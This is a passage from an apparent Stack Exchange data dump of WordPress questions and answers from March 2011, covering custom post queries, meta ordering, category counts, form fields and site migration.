'the_title', get_the_title( $landing_page-&amp;gt;ID ) );&#xA;            echo apply_filters( 'the_content', get_the_content( $landing_page-&amp;gt;ID ) );&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will should do what you want without interupting the main category query for the archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-02T18:17:52.243" CommentCount="2" />
  <row Id="10935" PostTypeId="2" ParentId="10929" CreationDate="2011-03-02T18:22:32.330" Score="2" ViewCount="" Body="&lt;p&gt;Actually your site &lt;a href=&quot;http://www.google.com/search?q=site%3awww.iamtheworld.net&quot; rel=&quot;nofollow&quot;&gt;is indexed&lt;/a&gt; all 176 pages.  It would probably help your search results if you changed your permalink structure to something other than default. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also get a yourself a &lt;a href=&quot;http://www.google.com/intl/en/webmasters&quot; rel=&quot;nofollow&quot;&gt;Google Webmaster Tools&lt;/a&gt; account so you can see how your site gets indexed and crawled. &lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-03-02T18:22:32.330" />
  <row Id="10936" PostTypeId="1" CreationDate="2011-03-02T18:23:29.583" Score="0" ViewCount="290" Body="&lt;p&gt;I'm using the following code to display custom post types. The display start date is supposed to be today. The problem is the date format. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the jQuery datepicker format dateFormat: '&lt;strong&gt;D d.m.&lt;/strong&gt;' to pick the date. When I insert the 'meta_value' =&gt; $current_day manually (e.g Mo 1.3.) the posts are displayed starting with today's date. Any other date format fails (e.g. $today = date('m-d-Y');).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;            global $post;&#xA;            $today = (?????);&#xA;            $args = array('post_type' =&amp;gt; 'events', &#xA;                                'meta_key' =&amp;gt; 'cp_date',&#xA;                                'post_status' =&amp;gt; 'publish',&#xA;                                'meta_compare' =&amp;gt; '&amp;gt;=',&#xA;                                'meta_value' =&amp;gt; $today,&#xA;                                'orderby' =&amp;gt; 'meta_value',&#xA;                                'order'=&amp;gt; 'DESC');&#xA;&#xA;            query_posts( $args );?&amp;gt;&#xA;&#xA;                     &amp;lt;?php get_template_part('loop', 'ad'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. what I would actually like to display is custom post type query where posts are sorted by custom date field starting today + 7 days. &lt;/p&gt;&#xA;" OwnerUserId="2650" LastEditorUserId="2650" LastEditorDisplayName="" LastEditDate="2011-03-02T22:02:50.290" LastActivityDate="2011-03-02T22:02:50.290" Title="Custom Post Query based on today's date" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;date-time&gt;&lt;events&gt;" CommentCount="3" />
  <row Id="10938" PostTypeId="2" ParentId="10458" CreationDate="2011-03-02T18:44:40.380" Score="3" ViewCount="" Body="&lt;p&gt;Yes! Check out &lt;a href=&quot;http://wordpress.org/extend/plugins/cubepoints/&quot; rel=&quot;nofollow&quot;&gt;CubePoints&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is a point management system designed for WordPress blogs.&lt;br&gt;&#xA;Users can earn points by posting comments creating posts, or even by logging in on your site. Also your users can be awarded with ranks automatically when they reach certain points as well.&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-03-02T18:44:40.380" CommentCount="2" />
  <row Id="10939" PostTypeId="1" CreationDate="2011-03-02T18:46:05.297" Score="0" ViewCount="57" Body="&lt;p&gt;We have used wordpress to build a booking system that incorporates holiday packages giving the user complete control to choose what to do (rather like an apple store configuration).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment using custom post types when a user makes a booking it adds a private post of their information and uses their start date as the post date. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need the system to integrate with a payment gateway or similar and then offset that against the cost of booking. I imagine the best way to do this is to make the success page coming back from the merchant to create a post in a custom post type called Payments with that users session id and booking id effectively adding a payment to their account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would that be a wise way of doing it or not. Quite out of my depth already any help or advice would be very much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-03-02T18:46:05.297" Title="Payment Integration" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;php&gt;" CommentCount="1" />
  <row Id="10940" PostTypeId="1" CreationDate="2011-03-02T18:47:38.153" Score="1" ViewCount="102" Body="&lt;p&gt;I seem to be having a problem exporting my post from wordpress into the xml file, I was wondering if there is a alternative like importing the post from the sql database or is there is a fix for this, im also using 2.6.3 if i updated it would it possibly export all of the post? any help is greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="2635" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-06-20T18:01:10.100" LastActivityDate="2011-08-19T23:32:27.760" Title="Wordpress not exporting all of my post" Tags="&lt;export&gt;" AnswerCount="1" />
  <row Id="10941" PostTypeId="1" AcceptedAnswerId="10945" CreationDate="2011-03-02T18:59:39.567" Score="3" ViewCount="1214" Body="&lt;p&gt;Is it possible to order my list of custom posts, after filtering it with meta_query, by the meta data of my choice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a custom post type called webinars. I am trying to list all upcoming webinars, and have them ordered by the custom meta field called webinar_startDate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the following query, I was able to return the webinars succesfully excluding the old webinars. However, they still come out in the order they were published, and not by webinar_startDate.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $my_array =  array(&#xA;    'meta_query' =&amp;gt; array(&#xA;            array(&#xA;                'key' =&amp;gt; 'webinar_startDate',&#xA;                'value' =&amp;gt; date(&quot;Y-m-d H:i:s&quot;),&#xA;                'compare' =&amp;gt; '&amp;gt;=',&#xA;                'type' =&amp;gt; 'DATETIME'&#xA;            )&#xA;    ),&#xA;    'orderby' =&amp;gt; 'meta_value',&#xA;    'post_type' =&amp;gt; 'webinars',&#xA;    'posts_per_page' =&amp;gt; 20,&#xA;    'order' =&amp;gt; 'ASC'&#xA;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suspect that due to the change from 3.0 to 3.1, the use of orderby =&gt; meta_value is probably different, but I can't find an answer within the WordPress documentation to explain this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3645" LastActivityDate="2011-03-02T21:50:57.270" Title="How do you use orderby with meta_query in Wordpress 3.1?" Tags="&lt;custom-post-types&gt;" AnswerCount="2" FavoriteCount="5" />
  <row Id="10942" PostTypeId="2" ParentId="10930" CreationDate="2011-03-02T19:04:38.737" Score="0" ViewCount="" Body="&lt;p&gt;I'm saving my custom fields with the name &lt;code&gt;_meta_whatever&lt;/code&gt;. Starting the name with an underscore, stops WordPress showing up the custom fields in the dropdown-box in the normal posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For saving in an array I'm using HTML-code like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;lt;input type=&quot;text&quot; class=&quot;short&quot; name=&quot;_events_meta[startDate]&quot; id=&quot;_events_meta[startDate]&quot; value=&quot;&amp;lt;?php if(!empty($meta['startDate'])) echo $meta['startDate']; ?&amp;gt;&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; class=&quot;extrashort&quot; name=&quot;_events_meta[startTime]&quot; id=&quot;_events_meta[startTime]&quot; value=&quot;&amp;lt;?php if(!empty($meta['startTime'])) echo $meta['startTime']; ?&amp;gt;&quot;/&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For retrieving the meta-values, this is my code I'm using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;$meta = get_post_meta($post-&amp;gt;ID,'_events_meta',TRUE);&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I have an assoziative array &lt;code&gt;$meta&lt;/code&gt; where the key name is given in the brackets in the &lt;code&gt;id&lt;/code&gt;-Attribute of the &lt;code&gt;input&lt;/code&gt;-Element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For saving I'm using code like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;$new_data = $_POST['_events_meta'];&#xA;...&#xA;add_post_meta($post_id,'_events_meta',$new_data,TRUE);&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it is saved as one record in &lt;code&gt;wp_postsmeta&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps and is clearly expressed from my side?&lt;/p&gt;&#xA;" OwnerUserId="3550" LastActivityDate="2011-03-02T19:04:38.737" CommentCount="2" />
  <row Id="10943" PostTypeId="2" ParentId="119" CreationDate="2011-03-02T19:33:55.587" Score="2" ViewCount="" Body="&lt;p&gt;My favourite hack; add a setting to your &lt;code&gt;/etc/hosts&lt;/code&gt; to make the production domain point to your development box, just on your machine. To deploy to production you rsync all the files and push the database over. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The risks of this strategy are clear; you might confuse your development environment with your production environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It still an easy fix though.&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2011-03-02T19:33:55.587" />
  <row Id="10944" PostTypeId="2" ParentId="10941" CreationDate="2011-03-02T19:34:30.360" Score="1" ViewCount="" Body="&lt;p&gt;I'm using the following code for my custom posts called &lt;code&gt;events&lt;/code&gt;, to get all posts in a Loop. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$evtLoop = new WP_Query(array('post_type' =&amp;gt; 'events',&#xA;                              'posts_per_page' =&amp;gt; 10,&#xA;                              'orderby' =&amp;gt; 'meta_value', &#xA;                              'meta_key' =&amp;gt; '_events_meta',&#xA;                              'order'=&amp;gt;'DESC'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think you are using your code approximatly the same way. I think you are missing the &lt;code&gt;meta_key&lt;/code&gt; with the name of the meta-field to sort. Perhaps it helps if you add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'meta_key' =&amp;gt; 'webinar_startDate',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to the outer array?&lt;/p&gt;&#xA;" OwnerUserId="3550" LastActivityDate="2011-03-02T19:34:30.360" CommentCount="1" />
  <row Id="10945" PostTypeId="2" ParentId="10941" CreationDate="2011-03-02T19:38:55.947" Score="6" ViewCount="" Body="&lt;p&gt;the new &lt;code&gt;meta_query&lt;/code&gt; array selects which posts the query returns. So yes, you are indicating the 'key' within that &lt;code&gt;meta_query&lt;/code&gt;, but you can still use the old method of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'orderby' =&amp;gt; 'meta_value', &#xA;'meta_key' =&amp;gt; '_events_meta',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in addition to the meta_query, as these lines indicate how to &lt;em&gt;sort&lt;/em&gt; the resulting query. So yes, you might indicate the same meta_key twice.&lt;/p&gt;&#xA;" OwnerUserId="838" LastEditorUserId="838" LastEditorDisplayName="" LastEditDate="2011-03-02T21:50:57.270" LastActivityDate="2011-03-02T21:50:57.270" CommentCount="1" />
  <row Id="10946" PostTypeId="1" AcceptedAnswerId="11012" CreationDate="2011-03-02T19:50:16.133" Score="1" ViewCount="138" Body="&lt;p&gt;There is a page template called &quot;All Bookmarks&quot; for displaying all links grouped by category. I want to modify it 2 ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;each category of links should be collapsible/expandable by clicking on the category header&lt;/li&gt;&#xA;&lt;li&gt;the template should accept a list of categories to either include or exclude&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For the collapsible part, assumably I need only add a class to each category header so that my jQuery code can affect them. For the category limiting, assumably I need a way to pass parametres to the template. However, I'm a complete noob to WP and I don't know&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;where to put the jQuery code&lt;/li&gt;&#xA;&lt;li&gt;whether to add the class to the template, or to create a new template&lt;/li&gt;&#xA;&lt;li&gt;where to store a new template so that it will be available to Pages&lt;/li&gt;&#xA;&lt;li&gt;if templates can take parametres or if a template needs to refer to a custom PHP function&lt;/li&gt;&#xA;&lt;li&gt;where to store custom PHP functions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've been wandering around WordPress.org for a while becoming more and more frustrated. I'd appreciate it if someone could address the above questions and perhaps point me to a good explanation of WP code structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Version: WP 3.1&#xA;Theme: Suffusion 3.7.7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3644" LastActivityDate="2011-03-03T14:17:16.197" Title="modifying a template and adding jQuery to it" Tags="&lt;jquery&gt;&lt;template&gt;&lt;blogroll&gt;" AnswerCount="1" />
  <row Id="10947" PostTypeId="2" ParentId="10285" CreationDate="2011-03-02T19:50:40.610" Score="1" ViewCount="" Body="&lt;p&gt;It's not clear if the answer above actually worked for you @erichmond, but it definitely did not for me. Found a solution though. See: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10881/how-can-i-show-posts-only-if-meta-value-is-not-empty&quot;&gt;How can I show posts only if meta_value is not empty&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3618" LastActivityDate="2011-03-02T19:50:40.610" />
  <row Id="10948" PostTypeId="1" AcceptedAnswerId="10949" CreationDate="2011-03-02T19:59:31.097" Score="1" ViewCount="56" Body="&lt;p&gt;hey guys,&#xA;is there a way to check if i'm currently not on the frontpage of my blog?&#xA;I know there are conditional tags like is_home(). However that won't work if I'm on myblog.com/page/2/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a pagination on my frontpage that let's users jump to the next page. If I'm on the second page i want to show a &quot;Back Home&quot; link. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea how I could achieve that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you.&lt;/p&gt;&#xA;" OwnerUserId="3529" LastActivityDate="2011-03-02T20:06:57.833" Title="query if on page/2/?" Tags="&lt;php&gt;&lt;tags&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="10949" PostTypeId="2" ParentId="10948" CreationDate="2011-03-02T20:06:57.833" Score="2" ViewCount="" Body="&lt;p&gt;Use the conditional Tag &lt;code&gt;is_paged()&lt;/code&gt; for this purpose&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_paged&quot; rel=&quot;nofollow&quot;&gt;Codex WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3550" LastActivityDate="2011-03-02T20:06:57.833" />
  <row Id="10950" PostTypeId="2" ParentId="10858" CreationDate="2011-03-02T20:07:34.147" Score="0" ViewCount="" Body="&lt;p&gt;well thanks to the help of @wyrfel I was able to get this working. I had to edit the code you gave me some, and the code for adding meta boxes since this function is already part of the core. for anyone else looking here is what I finally used (whole thing added to theme's functions.php file)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// add page parent metabox&#xA;define('MY_WORDPRESS_FOLDER',$_SERVER['DOCUMENT_ROOT']);&#xA;define('MY_THEME_FOLDER',str_replace(&quot;\\&quot;,'/',dirname(__FILE__)));&#xA;define('MY_THEME_PATH','/' . substr(MY_THEME_FOLDER,stripos(MY_THEME_FOLDER,'wp-content')));&#xA;&#xA;add_action('admin_init','my_meta_init');&#xA;&#xA;function my_meta_init()&#xA;{ &#xA;    // add a meta box for each of the wordpress page types: pages&#xA;    foreach (array('page') as $type) &#xA;    {&#xA;        add_meta_box('my_all_meta', 'Page Parent', 'my_meta_setup', $type, 'side', 'low');&#xA;    }&#xA;&#xA;    // add a callback function to save any data a user enters in&#xA;    //add_action('save_post','my_meta_save');&#xA;}&#xA;&#xA;function my_meta_setup($post) {&#xA;$post_type_object = get_post_type_object($post-&amp;gt;post_type);&#xA;    if ( $post_type_object-&amp;gt;hierarchical ) {&#xA;        $pages = wp_dropdown_pages(array('post_type' =&amp;gt; $post-&amp;gt;post_type, 'exclude_tree' =&amp;gt; $post-&amp;gt;ID, 'selected' =&amp;gt; $post-&amp;gt;post_parent, 'name' =&amp;gt; 'parent_id', 'show_option_none' =&amp;gt; __('(no parent)'), 'sort_column'=&amp;gt; 'menu_order, post_title', 'echo' =&amp;gt; 0));&#xA;        if ( ! empty($pages) ) {&#xA;?&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php _e('Parent for this page:') ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;parent_id&quot;&amp;gt;&amp;lt;?php _e('Parent') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;&amp;lt;?php echo $pages; &#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-03-02T20:07:34.147" />
  <row Id="10952" PostTypeId="1" AcceptedAnswerId="11605" CreationDate="2011-03-02T20:14:23.663" Score="2" ViewCount="104" Body="&lt;p&gt;One of the things that I most enjoy about the stackexchange website is the 'related questions' that show up on the sidebar when I am viewing a question (or show up as I am typing my question). It is readily apparent to me that the logic being used there is much more advanced than 'normal' wp functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this would be a very proprietary kind of question, but is there any available documentation on the functions being used to generate the list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for something a bit more advanced than simply using tags for relating posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*I was going to use YARPP but after reading a number of comments on how that plugin can bring a site to its knees, I figured it would be best to ask first.&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-04-08T20:39:49.667" Title="advice on creating a 'related posts' query like the one used on stackexchange" Tags="&lt;query-posts&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="10953" PostTypeId="1" CreationDate="2011-03-02T20:14:35.520" Score="0" ViewCount="229" Body="&lt;p&gt;Somehow my post counts are incorrect due to inserting rows via php. I have the following code to update the count, is it correct?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$result = mysql_query(&quot;SELECT term_id,term_taxonomy_id FROM $wpdb-&amp;gt;term_taxonomy where taxonomy = 'category'&quot;);&#xA;while ($row = mysql_fetch_array($result)) {&#xA;  $term_taxonomy_id = $row['term_taxonomy_id'];      &#xA;  $countresult = mysql_query(&quot;SELECT object_id FROM $wpdb-&amp;gt;term_relationships WHERE object_id IN (SELECT ID FROM $wpdb-&amp;gt;posts WHERE post_type = 'post' AND post_status = 'publish') AND term_taxonomy_id = '$term_taxonomy_id'&quot;);&#xA;  $count = mysql_num_rows($countresult);&#xA;  mysql_query(&quot;UPDATE $wpdb-&amp;gt;term_taxonomy SET count = '$count' WHERE term_taxonomy_id = '$term_taxonomy_id'&quot;);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1426" LastEditorUserId="1426" LastEditorDisplayName="" LastEditDate="2011-03-03T12:32:05.507" LastActivityDate="2011-03-03T12:32:05.507" Title="Fixing category count" Tags="&lt;categories&gt;&lt;terms&gt;" AnswerCount="1" />
  <row Id="10954" PostTypeId="1" CreationDate="2011-03-02T20:16:22.557" Score="0" ViewCount="132" Body="&lt;p&gt;I develop my sites on a local xamp setup.&#xA;When I´m done I need to get the site to my customer´s domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I use vault press or backupbuddy for this, or is there a better process ?&lt;/p&gt;&#xA;" OwnerUserId="3497" LastActivityDate="2011-03-09T12:23:37.023" Title="What is the best practice to get a site from local to online?" Tags="&lt;multisite&gt;&lt;migration&gt;&lt;backup&gt;" AnswerCount="6" />
  <row Id="10955" PostTypeId="2" ParentId="10954" CreationDate="2011-03-02T20:22:46.453" Score="1" ViewCount="" Body="&lt;p&gt;Related question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;Easily Move a WordPress Install from Development to Production?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2011-03-02T20:22:46.453" CommentCount="1" />
  <row Id="10957" PostTypeId="1" AcceptedAnswerId="10958" CreationDate="2011-03-02T20:54:11.617" Score="3" ViewCount="138" Body="&lt;p&gt;I just recovered from a pretty bad crash using Server 2008 Shadow copy. Ultimatly I didn't  lose more than a few hours of work but a loss is a loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've decided to move to version control to prevent this from happening again. What I'm interested in knowing is how does one handle the mysql directory? And how do you handle a development site and a live site (trunk and branch) running at the same time? I assume you wouldn't be able to move a development database to production with the posts being consistently updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-03-02T21:07:26.777" Title="Using source control with WordPress" Tags="&lt;mysql&gt;&lt;version-control&gt;&lt;svn&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="10958" PostTypeId="2" ParentId="10957" CreationDate="2011-03-02T21:07:26.777" Score="3" ViewCount="" Body="&lt;p&gt;Have a look at this older question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;Easily Move a WordPress Install from Development to Production?&lt;/a&gt;. It covers migration and deployment of WP installations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your more immediate issue, do backups of your database. Use a backup plugin (WP-DB-Backup is what I use, find it on the WP plugins repository) to handle this for you. You needn't worry as much about the core WP files as those can be loaded up again. You do need to keep backups of your theme files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also take a look at this article: &lt;a href=&quot;http://www.noeltock.com/web-design/wordpress/fast-furious-wordpress-theme-development-pt1/&quot; rel=&quot;nofollow&quot;&gt;http://www.noeltock.com/web-design/wordpress/fast-furious-wordpress-theme-development-pt1/&lt;/a&gt;. It's about using source control to simplify deployments. It's something I want to give a try!&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2011-03-02T21:07:26.777" />
  <row Id="10959" PostTypeId="2" ParentId="10953" CreationDate="2011-03-02T21:10:56.073" Score="1" ViewCount="" Body="&lt;p&gt;If you just want to update the counts of posts in each term, &lt;code&gt;wp_update_term_count_now( $terms, $taxonomy )&lt;/code&gt; should do it... just pass the terms affected as an array and run it once for each taxonomy you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also call &lt;code&gt;wp_defer_term_counting( true )&lt;/code&gt; before inserting new rows, and then after adding your posts, catch up on the counts by calling &lt;code&gt;wp_defer_term_counting( false )&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-03-02T21:16:05.850" LastActivityDate="2011-03-02T21:16:05.850" CommentCount="5" />
  <row Id="10961" PostTypeId="2" ParentId="10954" CreationDate="2011-03-02T22:07:00.603" Score="0" ViewCount="" Body="&lt;p&gt;you can't use either one of those tools to move one of the sub site to its own single site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you'll be moving it just like you move stuff off WordPress.com. Except you also have database access.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-03-02T22:07:00.603" CommentCount="5" />
  <row Id="10962" PostTypeId="2" ParentId="10463" CreationDate="2011-03-02T22:10:01.760" Score="2" ViewCount="" Body="&lt;p&gt;Ha. I'm working on a web app now that I fully intend to overload with data and usage beyond what my shared hosting account can handle, so I decided - while it would have been super easy to build in WP - to try working from &lt;a href=&quot;http://backpress.org/&quot; rel=&quot;nofollow&quot;&gt;BackPress&lt;/a&gt; as a framework and build out only what I needed for my specific use-cases. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've been able to reduce my core environment from the hundreds of PHP files in WP to only the twenty or so that I actually need, while still being able to leverage all the db, HTTP, user-management, formatting, and cron functions that I love in WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that its a lot of work, and I would never trust my hackjob for anything beyond my own personal use. If you want to use the full WP environment, take it as it is. Its as good as it is because of hundreds of developers fine-tuning it over several years. Like everyone here has said, you'll get a lot farther by finding a better hosting plan and researching caching techniques than you're likely to get by hacking the core.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-02T22:10:01.760" CommentCount="1" />
  <row Id="10963" PostTypeId="1" CreationDate="2011-03-02T22:13:59.053" Score="0" ViewCount="317" Body="&lt;p&gt;I'm trying to create a custom check box with a text field after it like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[  ] option 1&#xA;[  ] option 2&#xA;[  ] option 3&#xA;[  ] other  &lt;strong&gt;&lt;em&gt;_&lt;/em&gt;__&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3226" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-01T23:44:06.713" LastActivityDate="2011-08-30T16:37:01.480" Title="How do I add custom fields to Gravity Forms?" Tags="&lt;plugin-gravity-forms&gt;" AnswerCount="1" />
  <row Id="10964" PostTypeId="2" ParentId="9656" CreationDate="2011-03-02T22:17:54.633" Score="1" ViewCount="" Body="&lt;p&gt;Try version 1.0.5 as it fixes a lot of bugs.&#xA;What web browser are you using? Nanoplex doesn't work on IE 6/7.&lt;/p&gt;&#xA;" OwnerUserId="3649" LastActivityDate="2011-03-02T22:17:54.633" />
  <row Id="10965" PostTypeId="2" ParentId="266" CreationDate="2011-03-02T22:29:50.183" Score="1" ViewCount="" Body="&lt;p&gt;Hmmm, interesting... no one mentioned using LiteSpeed web server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran some informal benchmarks in a review of 4 web hosts and the LiteSpeed server (MDD) had some of the fastest numbers. Scroll down the page to see the spreadsheet view: &lt;a href=&quot;http://wpverse.com/eak&quot; rel=&quot;nofollow&quot;&gt;http://wpverse.com/eak&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I forgot but I also saw one web host company said they were using SSD based RAID for their MySQL database farm.&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-03-02T22:29:50.183" CommunityOwnedDate="2011-03-02T22:29:50.183" CommentCount="1" />
  <row Id="10966" PostTypeId="2" ParentId="2498" CreationDate="2011-03-02T22:35:44.127" Score="0" ViewCount="" Body="&lt;p&gt;I've been having problems with MediaTemple lately especially experiencing a 1 second delay after the initial DNS lookup on their Grid Service plan. I've complained and complained but they probably think of me as a cranky old man by now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't see anyone mention that Dreamhost does offer a quick to provision Virtual Private Server solution that works almost seamlessly with their shared hosting plan. You click a few buttons and your site can be moved to their VPS relatively quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone's interested, I wrote about my experiences with both MediaTemple, Dreamhost, and two other smaller companies Vexx and MDD here:&#xA;&lt;a href=&quot;http://wpverse.com/eak&quot; rel=&quot;nofollow&quot;&gt;http://wpverse.com/eak&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-03-02T22:35:44.127" />
  <row Id="10967" PostTypeId="2" ParentId="10963" CreationDate="2011-03-02T22:47:52.987" Score="0" ViewCount="" Body="&lt;p&gt;You can create a separate conditional text field.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a multiple choice question with your three options plus your &quot;other&quot; selection. Enable the value fields and assign a value of &quot;0&quot; or &quot;-1&quot; to &quot;other.&quot;&lt;/li&gt;&#xA;&lt;li&gt;Add a text box next and then go to the &quot;Advanced&quot; tab and check &quot;Enable conditional logic.&quot; Configure the appropriate selection based on the multiple choice question. For example, &quot;My Option List&quot; &quot;is&quot; &quot;fourth choice&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3300" LastActivityDate="2011-03-02T22:47:52.987" />
  <row Id="10968" PostTypeId="2" ParentId="10357" CreationDate="2011-03-02T22:55:32.557" Score="0" ViewCount="" Body="&lt;p&gt;There is a better answer at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10881/how-can-i-show-posts-only-if-meta-value-is-not-empty&quot;&gt;How can I show posts only if meta_value is not empty&lt;/a&gt; - Can't query a null value like this.&lt;/p&gt;&#xA;" OwnerUserId="3618" LastActivityDate="2011-03-02T22:55:32.557" />
